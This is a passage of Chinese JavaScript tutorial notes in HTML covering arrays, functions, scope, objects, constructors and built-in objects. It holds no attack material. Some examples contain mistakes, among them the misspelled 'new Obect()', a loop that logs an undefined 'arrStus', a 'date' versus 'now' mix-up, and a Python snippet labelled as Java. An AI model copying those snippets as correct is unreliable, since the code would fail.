keyword">new</span> <span class="token class-name">Array</span><span class="token punctuation">(</span><span class="token punctuation">)</span> ；<span class="token keyword">var</span> arr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Array</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// 创建一个新的空数组</span></code></pre></li></ul><p>注意 Array () ，A 要大写</p><ul><li><p>利用数组字面量创建数组</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">//1. 使用数组字面量方式创建空的数组</span><span class="token keyword">var</span>  数组名 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>；<span class="token comment">//2. 使用数组字面量方式创建带初始值的数组</span><span class="token keyword">var</span>  数组名 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'小白'</span><span class="token punctuation">,</span><span class="token string">'小黑'</span><span class="token punctuation">,</span><span class="token string">'大黄'</span><span class="token punctuation">,</span><span class="token string">'瑞奇'</span><span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></li><li><p>数组的字面量是方括号 [ ]</p><ul><li>声明数组并赋值称为数组的初始化</li><li>这种字面量方式也是我们以后最多使用的方式</li></ul></li><li><p>数组元素的类型</p><p>数组中可以存放任意类型的数据，例如字符串，数字，布尔值等。</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> arrStus <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'小白'</span><span class="token punctuation">,</span><span class="token number">12</span><span class="token punctuation">,</span><span class="token boolean">true</span><span class="token punctuation">,</span><span class="token number">28.9</span><span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></li></ul><h4 id="获取数组中的元素">获取数组中的元素</h4><p>索引 (下标) ：用来访问数组元素的序号（数组下标从 0 开始）。</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/12.png" alt=""></p><p>数组可以通过索引来访问、设置、修改对应的数组元素，可以通过“数组名[索引]”的形式来获取数组中的元素。</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 定义数组</span><span class="token keyword">var</span> arrStus <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token comment">// 获取数组中的第2个元素</span><span class="token function">alert</span><span class="token punctuation">(</span>arrStus<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    </code></pre><p>注意：如果访问时数组没有和索引值对应的元素，则得到的值是undefined</p><h4 id="遍历数组">遍历数组</h4><ul><li><p>数组遍历</p><p>把数组中的每个元素从头到尾都访问一次（类似学生的点名），可以通过 for 循环索引遍历数组中的每一项</p></li></ul><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'red'</span><span class="token punctuation">,</span><span class="token string">'green'</span><span class="token punctuation">,</span> <span class="token string">'blue'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arrStus<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></code></pre><ul><li><p>数组的长度</p><p>数组的长度：默认情况下表示数组中元素的个数</p><p>使用“数组名.length”可以访问数组元素的数量（数组长度）。</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> arrStus <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token function">alert</span><span class="token punctuation">(</span>arrStus<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// 3</span></code></pre><p><strong>注意</strong>：</p></li><li><p>此处数组的长度是数组元素的个数 ，不要和数组的索引号混淆。</p></li><li><p>当我们数组里面的元素个数发生了变化，这个 length 属性跟着一起变化</p><ul><li>数组的length属性可以被修改：</li></ul></li><li><p>如果设置的length属性值大于数组的元素个数，则会在数组末尾出现空白元素；</p><ul><li>如果设置的length属性值小于数组的元素个数，则会把超过该值的数组元素删除</li></ul></li></ul><h4 id="数组中新增元素">数组中新增元素</h4><p>数组中可以通过以下方式在数组的末尾插入新元素：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">数组<span class="token punctuation">[</span> 数组<span class="token punctuation">.</span>length <span class="token punctuation">]</span> <span class="token operator">=</span> 新数据<span class="token punctuation">;</span></code></pre><h3 id="函数">函数</h3><h4 id="函数的概念">函数的概念</h4><p>在 JS 里面，可能会定义非常多的相同代码或者功能相似的代码，这些代码可能需要大量重复使用。虽然 for循环语句也能实现一些简单的重复操作，但是比较具有局限性，此时我们就可以使用 JS 中的函数。</p><p>函数：就是<strong>封装了一段可被重复调用执行的代码块</strong>。通过此代码块可以<strong>实现大量代码的重复使用</strong>。</p><h4 id="函数的使用">函数的使用</h4><h5 id="声明函数">声明函数</h5><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 声明函数</span><span class="token keyword">function</span> <span class="token function">函数名</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">//函数体代码</span><span class="token punctuation">&#125;</span></code></pre><ul><li><p>function 是声明函数的关键字,必须小写</p></li><li><p>由于函数一般是为了实现某个功能才定义的， 所以通常我们将函数名命名为动词，比如 getSum</p></li></ul><h5 id="调用函数">调用函数</h5><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 调用函数</span><span class="token function">函数名</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// 通过调用函数名来执行函数体代码</span></code></pre><ul><li><p>调用的时候千万不要忘记添加小括号</p></li><li><p>口诀：函数不调用，自己不执行</p><p>注意：声明函数本身并不会执行代码，只有调用函数时才会执行函数体代码。</p></li></ul><p>例子：封装计算1-100累加和</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">/*    计算1-100之间值的函数*/</span><span class="token comment">// 声明函数</span><span class="token keyword">function</span> <span class="token function">getSum</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> sumNum <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token comment">// 准备一个变量，保存数字和</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> <span class="token number">100</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    sumNum <span class="token operator">+=</span> i<span class="token punctuation">;</span><span class="token comment">// 把每个数值 都累加 到变量中</span>  <span class="token punctuation">&#125;</span>  <span class="token function">alert</span><span class="token punctuation">(</span>sumNum<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token comment">// 调用函数</span><span class="token function">getSum</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><h4 id="函数的参数">函数的参数</h4><h5 id="函数参数语法">函数参数语法</h5><ul><li><p>形参：函数定义时设置接收调用时传入</p></li><li><p>实参：函数调用时传入小括号内的真实数据</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/13.png" alt=""></p><p>参数的作用 : 在函数内部某些值不能固定，我们可以通过参数在调用函数时传递不同的值进去。</p><p>函数参数的运用：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 带参数的函数声明</span><span class="token keyword">function</span> <span class="token function">函数名</span><span class="token punctuation">(</span><span class="token parameter">形参<span class="token number">1</span><span class="token punctuation">,</span> 形参<span class="token number">2</span> <span class="token punctuation">,</span> 形参<span class="token number">3.</span><span class="token punctuation">.</span><span class="token punctuation">.</span></span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token comment">// 可以定义任意多的参数，用逗号分隔</span>  <span class="token comment">// 函数体</span><span class="token punctuation">&#125;</span><span class="token comment">// 带参数的函数调用</span><span class="token function">函数名</span><span class="token punctuation">(</span>实参<span class="token number">1</span><span class="token punctuation">,</span> 实参<span class="token number">2</span><span class="token punctuation">,</span> 实参<span class="token number">3.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">)</span><span class="token punctuation">;</span> </code></pre><ol><li>调用的时候实参值是传递给形参的</li><li>形参简单理解为：不用声明的变量</li><li>实参和形参的多个参数之间用逗号（,）分隔</li></ol></li></ul><h5 id="函数形参和实参数量不匹配时">函数形参和实参数量不匹配时</h5><p><img src="https://img.alexation.cn/blog/post/javascript/basic/14.png" alt=""></p><p>注意：在JavaScript中，形参的默认值是undefined。</p><p>小结：</p><ul><li>函数可以带参数也可以不带参数</li><li>声明函数的时候，函数名括号里面的是形参，形参的默认值为 undefined</li><li>调用函数的时候，函数名括号里面的是实参</li><li>多个参数中间用逗号分隔</li><li>形参的个数可以和实参个数不匹配，但是结果不可预计，我们尽量要匹配</li></ul><h4 id="函数的返回值">函数的返回值</h4><h5 id="return-语句">return 语句</h5><p>返回值：函数调用整体代表的数据；函数执行完成后可以通过return语句将指定数据返回 。</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 声明函数</span><span class="token keyword">function</span> 函数名（）<span class="token punctuation">&#123;</span>    <span class="token operator">...</span>    <span class="token keyword">return</span>  需要返回的值；<span class="token punctuation">&#125;</span><span class="token comment">// 调用函数</span><span class="token function">函数名</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// 此时调用函数就可以得到函数体内return 后面的值</span></code></pre><ul><li>在使用 return 语句时，函数会停止执行，并返回指定的值</li><li>如果函数没有 return ，返回的值是 undefined</li></ul><h5 id="break-continue-return-的区别">break ,continue ,return 的区别</h5><ul><li>break ：结束当前的循环体（如 for、while）</li><li>continue ：跳出本次循环，继续执行下次循环（如 for、while）</li><li>return ：不仅可以退出循环，还能够返回 return 语句中的值，同时还可以结束当前的函数体内的代码</li></ul><h4 id="arguments的使用">arguments的使用</h4><p>当不确定有多少个参数传递的时候，可以用 arguments 来获取。JavaScript 中，arguments实际上它是当前函数的一个内置对象。所有函数都内置了一个 arguments 对象，arguments 对象中存储了传递的所有实参。arguments展示形式是一个伪数组，因此可以进行遍历。伪数组具有以下特点：</p><ul><li><p>具有 length 属性</p></li><li><p>按索引方式储存数据</p></li><li><p>不具有数组的 push , pop 等方法</p><p>注意：在函数内部使用该对象，用此对象获取函数调用时传的实参。</p></li></ul><h4 id="函数案例">函数案例</h4><p>​函数内部可以调用另一个函数，在同一作用域代码中，函数名即代表封装的操作，使用函数名加括号即可以将封装的操作执行。</p><h4 id="函数的两种声明方式">函数的两种声明方式</h4><ul><li><p>自定义函数方式(命名函数)</p><p>利用函数关键字 function 自定义函数方式</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 声明定义方式</span><span class="token keyword">function</span> <span class="token function">fn</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token operator">...</span><span class="token punctuation">&#125;</span><span class="token comment">// 调用  </span><span class="token function">fn</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  </code></pre><ul><li>因为有名字，所以也被称为命名函数</li><li>调用函数的代码既可以放到声明函数的前面，也可以放在声明函数的后面</li></ul></li><li><p>函数表达式方式(匿名函数）</p><p>利用函数表达式方式的写法如下：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 这是函数表达式写法，匿名函数后面跟分号结束</span><span class="token keyword">var</span> <span class="token function-variable function">fn</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token operator">...</span><span class="token punctuation">&#125;</span>；<span class="token comment">// 调用的方式，函数调用必须写到函数体下面</span><span class="token function">fn</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><ul><li>因为函数没有名字，所以也被称为匿名函数</li><li>这个fn 里面存储的是一个函数</li><li>函数表达式方式原理跟声明变量方式是一致的</li><li>函数调用的代码必须写到函数体后面</li></ul></li></ul><h2 id="作用域">作用域</h2><h4 id="JS没有块级作用域">JS没有块级作用域</h4><ul><li><p>块作用域由 { } 包括。</p></li><li><p>在其他编程语言中（如 java、c#等），在 if 语句、循环语句中创建的变量，仅仅只能在本 if 语句、本循环语句中使用，如下面的Java代码：</p><p>python 有块级作用域：</p><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">if</span> <span class="token boolean">True</span><span class="token punctuation">:</span>    num <span class="token operator">=</span> <span class="token number">123</span>    <span class="token keyword">print</span><span class="token punctuation">(</span>num<span class="token punctuation">)</span>  <span class="token comment"># 123</span><span class="token keyword">print</span><span class="token punctuation">(</span>num<span class="token punctuation">)</span>  <span class="token comment"># 报错</span></code></pre><p>以上java代码会报错，是因为代码中 { } 即一块作用域，其中声明的变量 num，在 “{ }” 之外不能使用；</p><p>而与之类似的JavaScript代码，则不会报错：</p><p>Js中没有块级作用域（在ES6之前）</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> num <span class="token operator">=</span> <span class="token number">123</span><span class="token punctuation">;</span>  console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>num<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">//123</span><span class="token punctuation">&#125;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>num<span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">//123</span></code></pre></li></ul><h3 id="对象">对象</h3><h4 id="创建对象的三种方式">创建对象的三种方式</h4><h5 id="使用对象字面量创建对象："><strong>使用对象字面量创建对象</strong>：</h5><p>就是花括号 { } 里面包含了表达这个具体事物（对象）的属性和方法；{ } 里面采取键值对的形式表示</p><ul><li><p>键：相当于属性名</p></li><li><p>值：相当于属性值，可以是任意类型的值（数字类型、字符串类型、布尔类型，函数类型等）</p><p>代码如下：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> star <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    name <span class="token operator">:</span> <span class="token string">'Asuna'</span><span class="token punctuation">,</span>    age <span class="token operator">:</span> <span class="token number">15</span><span class="token punctuation">,</span>    sex <span class="token operator">:</span> <span class="token string">'女'</span><span class="token punctuation">,</span>    <span class="token function-variable function">sayHi</span> <span class="token operator">:</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">'大家好啊~'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span></code></pre><p>上述代码中 star即是创建的对象。</p></li></ul><h5 id="对象的使用">对象的使用</h5><ul><li><p>对象的属性</p><ul><li>对象中存储<strong>具体数据</strong>的 &quot;键值对&quot;中的 &quot;键&quot;称为对象的属性，即对象中存储具体数据的项</li></ul></li><li><p>对象的方法</p><ul><li>对象中存储<strong>函数</strong>的 &quot;键值对&quot;中的 &quot;键&quot;称为对象的方法，即对象中存储函数的项</li></ul></li><li><p>访问对象的属性</p><ul><li><p>对象里面的属性调用 : 对象.属性名 ，这个小点 . 就理解为“ 的 ”</p></li><li><p>对象里面属性的另一种调用方式 : 对象[‘属性名’]，注意方括号里面的属性必须加引号</p><p>示例代码如下：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>star<span class="token punctuation">.</span>name<span class="token punctuation">)</span>     <span class="token comment">// 调用名字属性</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>star<span class="token punctuation">[</span><span class="token string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">)</span>  <span class="token comment">// 调用名字属性</span></code></pre></li></ul></li><li><p>调用对象的方法</p><ul><li><p>对象里面的方法调用：对象.方法名() ，注意这个方法名字后面一定加括号</p><p>示例代码如下：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">star<span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>              <span class="token comment">// 调用 sayHi 方法,注意，一定不要忘记带后面的括号</span></code></pre></li></ul></li><li><p>变量、属性、函数、方法总结</p><p>属性是对象的一部分，而变量不是对象的一部分，变量是单独存储数据的容器</p><ul><li>变量：单独声明赋值，单独存在</li><li>属性：对象里面的变量称为属性，不需要声明，用来描述该对象的特征</li></ul></li></ul><ul><li>方法是对象的一部分，函数不是对象的一部分，函数是单独封装操作的容器<ul><li>函数：单独存在的，通过“函数名()”的方式就可以调用</li><li>方法：对象里面的函数称为方法，方法不需要声明，使用“对象.方法名()”的方式就可以调用，方法用来描述该对象的行为和功能。</li></ul></li></ul><h5 id="利用-new-Object-创建对象">利用 new Object 创建对象</h5><ul><li><p>创建空对象</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> andy <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Obect</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p>通过内置构造函数Object创建对象，此时andy变量已经保存了创建出来的空对象</p></li><li><p>给空对象添加属性和方法</p><ul><li><p>通过对象操作属性和方法的方式，来为对象增加属性和方法</p><p>示例代码如下：</p></li></ul><pre class="language-javascript" data-language="javascript"><code class="language-javascript">andy<span class="token punctuation">.</span>name <span class="token operator">=</span> <span class="token string">'Asuna'</span><span class="token punctuation">;</span>andy<span class="token punctuation">.</span>age <span class="token operator">=</span> <span class="token number">15</span><span class="token punctuation">;</span>andy<span class="token punctuation">.</span>sex <span class="token operator">=</span> <span class="token string">'女'</span><span class="token punctuation">;</span>andy<span class="token punctuation">.</span><span class="token function-variable function">sayHi</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">'大家好啊~'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span></code></pre><p>注意：</p><ul><li>Object() ：第一个字母大写</li><li>new Object() ：需要 new 关键字</li><li>使用的格式：对象.属性 =  值;</li></ul></li></ul><h5 id="利用构造函数创建对象">利用构造函数创建对象</h5><p><strong>构造函数</strong></p><ul><li><p>构造函数：是一种特殊的函数，主要用来初始化对象，即为对象成员变量赋初始值，它总与 new 运算符一起使用。我们可以把对象中一些公共的属性和方法抽取出来，然后封装到这个函数里面。</p></li><li><p>构造函数的封装格式：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">构造函数名</span><span class="token punctuation">(</span><span class="token parameter">形参<span class="token number">1</span><span class="token punctuation">,</span>形参<span class="token number">2</span><span class="token punctuation">,</span>形参<span class="token number">3</span></span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>     <span class="token keyword">this</span><span class="token punctuation">.</span>属性名<span class="token number">1</span> <span class="token operator">=</span> 参数<span class="token number">1</span><span class="token punctuation">;</span>     <span class="token keyword">this</span><span class="token punctuation">.</span>属性名<span class="token number">2</span> <span class="token operator">=</span> 参数<span class="token number">2</span><span class="token punctuation">;</span>     <span class="token keyword">this</span><span class="token punctuation">.</span>属性名<span class="token number">3</span> <span class="token operator">=</span> 参数<span class="token number">3</span><span class="token punctuation">;</span>     <span class="token keyword">this</span><span class="token punctuation">.</span>方法名 <span class="token operator">=</span> 函数体<span class="token punctuation">;</span><span class="token punctuation">&#125;</span></code></pre></li><li><p>构造函数的调用格式</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> obj <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token function">构造函数名</span><span class="token punctuation">(</span>实参<span class="token number">1</span>，实参<span class="token number">2</span>，实参<span class="token number">3</span><span class="token punctuation">)</span></code></pre><p>以上代码中，obj即接收到构造函数创建出来的对象。</p></li><li><p>注意事项</p><ol><li>构造函数约定<strong>首字母大写</strong>。</li><li>函数内的属性和方法前面需要添加 <strong>this</strong> ，表示当前对象的属性和方法。</li><li>构造函数中<strong>不需要 return 返回结果</strong>。</li><li>当我们创建对象的时候，<strong>必须用 new 来调用构造函数</strong>。</li></ol></li><li><p>其他</p><p>构造函数，如 Stars()，抽象了对象的公共部分，封装到了函数里面，它泛指某一大类（class）<br>创建对象，如 new Stars()，特指某一个，通过 new 关键字创建对象的过程我们也称为对象实例化</p></li></ul><h4 id="new关键字的作用">new关键字的作用</h4><ol><li>在构造函数代码开始执行之前，创建一个空对象；</li><li>修改this的指向，把this指向创建出来的空对象；</li><li>执行函数的代码</li><li>在函数完成之后，返回this—即创建出来的对象</li></ol><h4 id="遍历对象">遍历对象</h4><p>for… in 语句用于对数组或者对象的属性进行循环操作。</p><p>其语法如下：</p>  <pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">for</span> <span class="token punctuation">(</span>变量 <span class="token keyword">in</span> 对象名字<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// 在此执行代码</span><span class="token punctuation">&#125;</span></code></pre><p>语法中的变量是自定义的，它需要符合命名规范，通常我们会将这个变量写为 k 或者 key。</p>  <pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> k <span class="token keyword">in</span> obj<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>k<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token comment">// 这里的 k 是属性名</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">[</span>k<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 这里的 obj[k] 是属性值</span><span class="token punctuation">&#125;</span></code></pre><h2 id="内置对象">内置对象</h2><h3 id="内置对象-2">内置对象</h3><h4 id="内置对象-3">内置对象</h4><p>JavaScript 中的对象分为3种：<strong>自定义对象 、内置对象、 浏览器对象</strong><br>前面两种对象是JS 基础 内容，属于 ECMAScript；  第三个浏览器对象属于 JS 独有的， JS API 讲解内置对象就是指 JS 语言自带的一些对象，这些对象供开发者使用，并提供了一些常用的或是<strong>最基本而必要的功能</strong>（属性和方法），内置对象最大的优点就是帮助我们快速开发</p><p>JavaScript 提供了多个内置对象：Math、 Date 、Array、String等</p><h4 id="查文档">查文档</h4><p>查找文档：学习一个内置对象的使用，只要学会其常用成员的使用即可，我们可以通过查文档学习，可以通过MDN/W3C来查询。<br>Mozilla 开发者网络（MDN）提供了有关开放网络技术（Open Web）的信息，包括 HTML、CSS 和万维网及 HTML5 应用的 API。<br>MDN:<a href="https://developer.mozilla.org/zh-CN/">https://developer.mozilla.org/zh-CN/</a></p><h4 id="Math对象">Math对象</h4><p>Math 对象不是构造函数，它具有数学常数和函数的属性和方法。跟数学相关的运算（求绝对值，取整、最大值等）可以使用 Math 中的成员。</p><table><thead><tr><th>属性、方法名</th><th>功能</th></tr></thead><tbody><tr><td>Math.PI</td><td>圆周率</td></tr><tr><td>Math.floor()</td><td>向下取整</td></tr><tr><td>Math.ceil()</td><td>向上取整</td></tr><tr><td>Math.round()</td><td>四舍五入版 就近取整   注意 -3.5   结果是  -3</td></tr><tr><td>Math.abs()</td><td>绝对值</td></tr><tr><td>Math.max()/Math.min()</td><td>求最大和最小值</td></tr><tr><td>Math.random()</td><td>获取范围在[0,1)内的随机值</td></tr></tbody></table><p>注意：上面的方法使用时必须带括号</p><p><strong>获取指定范围内的随机整数</strong>：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">getRandom</span><span class="token punctuation">(</span><span class="token parameter">min<span class="token punctuation">,</span> max</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> Math<span class="token punctuation">.</span><span class="token function">floor</span><span class="token punctuation">(</span>Math<span class="token punctuation">.</span><span class="token function">random</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token punctuation">(</span>max <span class="token operator">-</span> min <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">+</span> min<span class="token punctuation">;</span> <span class="token punctuation">&#125;</span></code></pre><h4 id="日期对象">日期对象</h4><p>Date 对象和 Math 对象不一样，Date是一个构造函数，所以使用时需要实例化后才能使用其中具体方法和属性。Date 实例用来处理日期和时间</p><ul><li><p>使用Date实例化日期对象</p><ul><li>获取当前时间必须实例化：</li></ul><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> now <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><ul><li>获取指定时间的日期对象</li></ul><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> future <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token string">'2019/5/1'</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p>注意：如果创建实例时并未传入参数，则得到的日期对象是当前时间对应的日期对象</p></li><li><p>使用Date实例的方法和属性</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/15.png" alt=""></p></li><li><p>通过Date实例获取总毫米数</p><ul><li><p>总毫秒数的含义</p><p>​基于1970年1月1日（世界标准时间）起的毫秒数</p></li><li><p>获取总毫秒数</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 实例化Date对象</span><span class="token keyword">var</span> now <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// 1. 用于获取对象的原始值</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>date<span class="token punctuation">.</span><span class="token function">valueOf</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>date<span class="token punctuation">.</span><span class="token function">getTime</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment">// 2. 简单写可以这么做</span><span class="token keyword">var</span> now <span class="token operator">=</span> <span class="token operator">+</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// 3. HTML5中提供的方法，有兼容性问题</span><span class="token keyword">var</span> now <span class="token operator">=</span> Date<span class="token punctuation">.</span><span class="token function">now</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></li></ul></li></ul><h4 id="数组对象">数组对象</h4><h5 id="添加删除数组元素的方法">添加删除数组元素的方法</h5><ul><li><p>数组中有进行增加、删除元素的方法，部分方法如下表</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/16.png" alt=""></p><p>注意：push、unshift为增加元素方法；pop、shift为删除元素的方法</p></li></ul><h5 id="数组转换为字符串">数组转换为字符串</h5><ul><li><p>数组中有把数组转化为字符串的方法，部分方法如下表</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/17.png" alt=""></p><p>注意：join方法如果不传入参数，则按照 “ , ”拼接元素</p></li></ul><h5 id="其他方法">其他方法</h5><ul><li><p>数组中还有其他操作方法，同学们可以在课下自行查阅学习</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/18.png" alt=""></p></li></ul><h4 id="字符串对象">字符串对象</h4><h5 id="基本包装类型">基本包装类型</h5><p>为了方便操作基本数据类型，JavaScript 还提供了三个特殊的引用类型：String、Number和 Boolean。</p><p>基本包装类型就是把简单数据类型包装成为复杂数据类型，这样基本数据类型就有了属性和方法。</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 下面代码有什么问题？</span><span class="token keyword">var</span> str <span class="token operator">=</span> <span class="token string">'andy'</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>str<span class="token punctuation">.</span>length<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p>按道理基本数据类型是没有属性和方法的，而对象才有属性和方法，但上面代码却可以执行，这是因为</p><p>js 会把基本数据类型包装为复杂数据类型，其执行过程如下 ：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 1. 生成临时变量，把简单类型包装为复杂数据类型</span><span class="token keyword">var</span> temp <span class="token 